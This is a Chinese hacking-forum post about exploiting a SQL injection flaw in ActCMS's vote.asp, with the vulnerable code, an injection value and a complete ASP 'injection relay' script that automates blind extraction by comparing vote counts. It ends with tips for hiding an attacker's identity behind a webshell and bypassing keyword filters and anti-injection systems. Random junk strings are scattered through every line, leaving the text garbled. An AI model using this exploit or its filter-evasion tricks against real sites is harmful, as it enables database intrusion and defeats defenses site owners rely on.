/ R3 R% y/ S& I! B9 K; O
看到ninty大牛的blog的一篇文章
- {" l8 Y7 r" H: s5 e( O6 F链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
8 y0 y* Z% c C关于actcms漏洞的利用 by 3x qq:381862589, _$ Q" e5 f0 s; c! i3 J
转载请注明以上
/ t5 u5 M/ k. e1 q9 q% @* h漏洞文件:
% s1 Q9 R8 a9 z/plus/vote/vote.asp
1 V9 X4 k9 _& K: ^代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 8 T1 r7 R/ F( v3 O
3 F v# T, Y' E% s2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
% U' {4 P4 F4 w' o, F% ^" G6 |" m: b1 m
3 response.end @+ a/ v# }3 A
4 g' n- ` U Q5 B- E% u8 ?/ ?
4 end if 5 O0 G+ ]3 _, j5 T9 q" [# @
, i! M. N# E1 {, u' V9 a
5 for i=1 to request("voted").count
/ g3 f0 H" D! M( W% L; P- a7 K2 B) M W" F8 \ H# h' Z% o
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
1 z% u% _/ G ^/ `; q# h. F6 O/ |- T7 u9 i/ o/ p4 x( o, h
7 next
4 ]% A+ u6 I* O! C; H5 ?6 l/ Z) F( c- A+ \5 u! X* t" z8 @
8.... 7 m( l) n+ s' x5 W1 @' [, W
2 b; c8 P0 N! h
9response.Redirect "index.asp?id="&id&"" ! ~: B# X" u5 Q2 T' s {. f
投票结束回跳转回index.asp这个投票结果页面
- h6 E# j% W4 o; u如果投票成功票数加1
$ r" x% j+ }! R3 C 失败票数不变
& ^/ B: V( C/ i* _3 q5 H如图:3 @3 Q- J p1 j0 a' o
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
P l. M0 F3 O m, A" D- j5 ]3 h, x7 G
2009-12-27 13:20
' a3 x: ?2 I! T! h! F$ c; i+ j$ i+ V6 m* X I: Y: u7 V
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
) Z9 i& ~7 G; }+ X# N1 Z
, l$ O% U. \. G% _本帖隐藏的内容需要回复才可以浏览# }- d* }' Z6 l# J& F
我们用注入中转来实现这个注入具体代码如下:
( v+ U6 E w5 w先用寂寞的刺猬大牛的注入中转生成jmget.asp r M1 ~0 `5 P- f; q5 c
注入地址:http://localhost/actcms/plus/vote/vote.asp; @5 g% w! q+ S# k- J
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
' }3 o' U s3 P0 G* |1 z/ ?9 c" }7 l- Z3 u
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
7 S! t$ ^0 |- O1 Q/ ~
5 P6 q$ D" a( P! g, p7 {02JmdcwName=request("jmdcw")
/ d7 t1 Z) e2 o$ Z& Z" X4 C- \3 a7 B& v1 b# j y: H; f
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 9 M+ M* d8 X; {: i% g: b! y
$ i2 }$ L9 W6 ?3 f% n5 ?7 s6 ~04JmStr="id=1&voted=-1 or 1="&JmdcwName / [6 v) V& ~7 M4 Q
" J8 F0 u) C. ^; s05JmStr=URLEncoding(JmStr)
% F- r" n* l) ^! Y
8 i" M. j- g: n" d. b06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"$ B- j c$ f7 K! L8 e
6 c, L% \ e9 ?, B: Q
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"; {# ~1 X' z! Z& [
+ ?; X; y) T0 O" k2 u& d2 p/ m# I
08testurl=testurl & "?" & JmStr ; C& H5 y0 ]) `8 q! C
2 J0 N0 x# `% `: C' N
09JMUrl=JMUrl & "?" & JmStr , h2 m8 |; i5 B! c
% ?. _# p# A9 U+ l7 \2 ]( q7 C
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 z9 M+ ] w3 ?7 O2 \; P3 C [+ A5 Q* c) x% s. I) o2 Q; d
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"* p9 J" o5 B/ H5 Z, [2 w" K
# U8 r; O+ u! t7 y; C$ e
12JmCok=replace(JmCok,chr(32),"%20") 1 ]6 D6 D" v$ s
5 E4 |; H' @' s' A+ f13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
: s0 N9 F1 l3 S! K# ?, H+ P# u3 W& N3 ? X. f5 V
14
, t4 g2 d% o8 W4 F) ^: a; k+ y7 ~9 j1 a" h1 ]1 N7 o2 Y8 b% T. h
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 7 {8 T u; s) i& ]* Q
+ @7 W4 w: _7 m& p$ G7 E16 ; Z, | N0 A# J; h" W
5 a* x. m0 ~, Y8 @# {: Q# ]
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 |* u! w) C8 m# l* G9 ]5 c2 p9 q
1 _# R! h( q6 a2 o `$ j
18response.write test1&""&test2&""( a2 f {' A& k5 o3 f. y- c; d1 b
& x; c" S9 a; D+ @* m. r. w- g
19 3 j% z7 T4 q/ Z8 s# `4 A1 R# O
, b8 q8 M+ W* _$ o( W
20if test1=test2 then '如前后记录相等,表示失败 # W6 C5 y+ k, }" q; ?: ^7 l
& D7 J. R. D) k& o2 k8 }
21 response.write "failed"
3 [$ C4 N5 D3 r+ m9 p& b) H0 R4 p3 S0 I
22else & c. i% Q# [; G$ ~
- ?" @1 @ C3 r8 t! z5 d& S23 response.write "succeed"4 N7 G. r2 _8 w& F8 B
. ^2 J8 a+ G) u- {1 n24end if
2 q$ @& ^& G% T% i- V: D9 j# i7 Y/ n
25 % U8 V6 D4 Y$ h7 L' b1 w" T3 e
: C, P) K( G1 x: F' t
26response.write "by 3x"1 z% V/ @* }1 j4 Q
8 R# L. K$ x& K27 4 a* Q! Z( q; @# s
$ C- \/ t( i5 Q: e V# `28 0 W+ b" F) A) r; ~8 h" s% }
6 ?/ k+ E* c9 o/ `" ^* D! i29Function PostData(PostUrl,PostStr,PostCok,PostRef)
* p- k0 E! a% R9 _8 y9 k; H3 O
- h, K- F9 c- g2 F8 q8 k; K5 h! [! ~) w30Dim Http
' W0 G4 z. `% V" h- U: `9 J) `7 B0 i4 J5 t8 t& ]- Z. @6 C
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 2 g8 ]1 t# m9 l6 Q6 ^
# d- v$ Q+ ^$ ]: u1 K32With Http
! P$ P4 E1 a- y, u( q
7 W: R, Q/ M+ u2 H; A33
3 R: p9 K! |# a, F1 A6 P3 a9 v
* k B( X# i. s6 z! U34.Open "GET",PostUrl,False- m# T" u' p" O i
; @( T5 T! E. y! o R; V8 O
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"0 O: P6 [5 l3 ]+ Z: i
6 P3 i6 ^3 g1 x- v! {( @: U
36.SetRequestHeader "Referer",PostRef
- \( J( U3 V1 p0 J( M
7 r0 X8 @0 T8 {# W8 p9 C37.SetRequestHeader "Cookie",PostCok
4 ~1 p2 ]% r3 q4 ]2 ]& w$ D' @$ }
) a2 @1 l" P9 ]38.Send () & D4 e! m# L+ Y7 j% V( D# `) @
( I6 U+ D2 f7 R& T. ~39PostData = .ResponseBody 9 `! y" W& L% I" _: m% [5 m. B* {; g
5 w* V/ D, _6 B- [, D
40End With
1 C2 K) m! ~6 L z3 }' z! S( C5 r+ ^+ ~
41Set Http = Nothing. h" V% Z6 P% g
# F- {$ m: w3 ]+ Z( G7 L k) U42PostData =bytes2BSTR(PostData)
x( l) C; Q0 m2 [, A5 j
" g* {7 q% [& ^% S% S( i8 X43End Function. ~* o0 y/ m, u4 G O* C! C
! e% w3 g6 o+ E, H5 R44 9 }& y; ^3 b8 m+ @
& {6 U) O4 O$ f% i8 e( h+ H' M
45 ; V, W: L6 x' ^9 H2 S7 k2 }+ T
) q. H- ^6 p0 Y8 u: v0 }46Function bytes2BSTR(vIn) 0 S* d" l$ u w7 v1 q0 M
7 f, s$ R! Q3 d" T: [: p
47Dim strReturn " t8 q) \% ] ?
$ h, k( y4 N# d) B) @
48Dim I, ThisCharCode, NextCharCode 7 J' t1 R* q5 K# F
: }8 s$ V2 J6 Q/ f [ n
49strReturn = ""% }% {) M+ X9 M* X/ u- d: c
4 ~; Y. ?) S! ?1 U50For I = 1 To LenB(vIn)
' O; f- s# `' U! }9 S! n W
; b' J+ X# j9 E51ThisCharCode = AscB(MidB(vIn, I, 1)) 3 `! i! |1 O8 V! z
+ H3 D" P6 c1 ~1 o& y. I52If ThisCharCode < &H80 Then
" e, S9 K I) K. \8 B. r2 g5 s. s
" U0 d) P3 P# w" q! k53strReturn = strReturn & Chr(ThisCharCode) ! @" l& a8 r( q
) I- \9 G+ \& B, w3 I+ B8 y8 f% T
54Else9 h+ b- J0 B+ d7 n6 h( Y3 K
, {' B! `/ T' d
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) / K; c/ j! U6 Y! b
. s& _7 \5 y7 a- k! u) V' k) `9 \56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
7 j2 Y! D( l1 o2 u
4 | D9 P4 F6 I( ^ d57I = I + 1
( p0 Q; N' S9 X3 S
- E. M T5 N4 U9 P2 S58End If
9 p/ b* i8 m8 s8 _- T4 }# u$ }
8 E( J6 r: G5 @1 X' u9 B0 R, y59Next; O3 N+ [5 P: S! d
6 j# G# g/ Z B. H" \9 c( R/ {60bytes2BSTR = strReturn
% H4 {5 n+ {0 p j/ J2 w
8 X; A6 X/ S: X$ f61End Function
7 j+ x# O" c- O- }
8 d$ _2 @6 v( j; T, m62 * I ]' V- Z3 f3 T: T9 _, d
+ i+ f) i( d7 l( {1 K: \# x& h
63Function URLEncoding(vstrin) / x+ J) x2 H, Y3 A/ u# L
4 U0 k. F5 f3 W: G
64strReturn=""4 B1 b6 q5 l* W2 l5 L' d0 A: D
! ?+ c8 D7 t1 ~* K# O M65Dim i
% w$ k [2 H( ~& m4 Z3 S4 Z& F! w$ `) v
66For i=1 To Len(vstrin)
% d6 k2 u$ \& w, [/ {# T- l7 o" _, _+ B1 |( U4 j* z& l
67ThisChr=Mid(vstrin,i,1)
0 a4 Y4 {* a* v& L1 Y; {
5 \$ K+ M7 i8 ? r; f. d! b68if Abs(Asc(ThisChr))< &HFF Then
\- y3 G8 H; O- m. V) a; s, G+ n: B8 q$ X/ k
69strReturn=strReturn & ThisChr
5 m# A: o1 Y3 T6 N' ~4 I/ h, P; F$ v% E2 L' Z3 T, }8 r0 z
70Else
+ N. _7 F) R0 J" k
5 d# Z( Q( |: o7 }2 c4 \71InnerCode=Asc(ThisChr)
. F3 i- x( S' a% I( k) p: w4 O
: Y6 j. d) X: [) b; y8 p5 y72If InnerCode<0 Then& ]$ N# l) E. p0 o& Q1 x5 ?
9 r0 k1 @: |$ r; Q, R0 l
73InnerCode=InnerCode + &H10000 - R, k# o8 V! A2 B, b7 v/ h
" N! M: b% N; H$ ]1 _0 ~
74End If
9 b4 W, J; y) R7 M% j8 _
( t& @$ X9 |, R75Hight1=(InnerCode And &HFF00) \&HFF % T# [% x) ~7 P! y2 J6 m
2 |3 Z; z9 B) f' o, w; s! j- L' \; K76Low1=InnerCode And &HFF ' s1 H- N4 }6 j0 F: {: M
7 l8 N" c, L* j# b) F77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 [& T7 X$ U2 ~# {4 j
! T( s9 g5 C' n4 M' @. Q- G78End if
; ~7 j% ~ s5 s! {* Z
& p4 }$ R$ X% {, S2 p5 Z% F79Next
* L: |* k# e8 X, B8 |
~6 z' l1 ?9 p& L2 n+ p+ E1 s! E* ]6 n80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % h1 D$ w% E% K; I
8 T/ ?/ L( I' [% ]2 T4 n
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
0 T, \" @4 P8 R! r" [; n: y, a( D& J+ R9 x3 T' o+ U
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 % r- a# k3 _: |2 k5 V( h
5 ?' V2 p6 F X7 `- L K, G* H
83URLEncoding=strReturn
2 C! B7 t5 j, f u+ C+ t* y2 f+ G
& y. j. R h# ?84End Function
# I6 i( M- T9 Z
8 D1 ?8 {0 @3 s) u85 - i# {% z8 B9 p5 E+ R1 e
& s5 q$ n/ D, u4 @1 }; F86function getSt(body) ) Y. [) Y: y, n4 B: P& ~
2 T% D" K3 A* w' i2 w6 k5 Z87 startpot=instr(body,"投票人数:")+len("投票人数:") & D9 R4 p% `4 L D
B" H0 v3 }2 O- k' }88 endpot=instr(startpot,body," ") 6 ]5 |# o" Z8 M/ ~
1 ?1 E/ x7 c' t q7 {3 {9 S
89 getSt=mid(body,startpot,endpot-startpot) 9 V% c0 ~+ c' Y3 D
# C6 |. Z8 O: y- `, I90end function ( k3 D- u7 L9 L% n0 J) `2 B) @
. ?' t# F% o3 E0 r4 A& x91%># T7 ~# f$ m! b: `
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
' h/ F5 k1 U- S& R测试下效果:
# n. I! N3 L' _% ?7 K, h% L投票成功:
% h- s$ B* \- ]8 {http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
; @6 }* d) Y4 A; {
, c, {3 q% o4 D$ P# ~0 R2009-12-27 13:29, e7 t' k: J+ g1 c
投票失败
0 u9 i6 ?1 [8 N8 @0 v" G5 `http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
0 c9 A, f7 @$ w- U4 g! H' K& |2 g% r5 G" M4 x9 t) }4 V4 m3 r" q! s
2009-12-27 13:29
- Y( C" P; }1 U& E6 S2 [ ]4 s: {2 \-------------------------------------------------------------------------------3 n0 n# y" V; x V7 A
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
9 {* o0 [0 L, s$ P4 n" z4 J% w, X很抱歉。。。只能用单线程工具去注入。。。。。
. F7 d2 j* Z0 j3 S* T所以失败。。。不好意思。。。1 w! ? b% m. T+ y8 l' _
-------------------------------------------------------------------------------" u* o. w* C+ f& v% J
/ T6 ?3 q0 R6 E- G6 R注入中转的一些其他应用
; ^2 B4 s( j4 [/ `; z其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了7 K& y2 W# K+ G1 Y# j' y5 S3 g
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 a1 a6 \+ c. u6 @
2.post注入转成get型的注入,方便我们使用工具来跑
+ Q& D d1 j& n- C3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
$ D B# K$ Q; ]1 X* q& M" l4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过; g/ C' c& u! Q! p2 A
$ b) j" b+ g# n3 p0 j1 k4 J# J |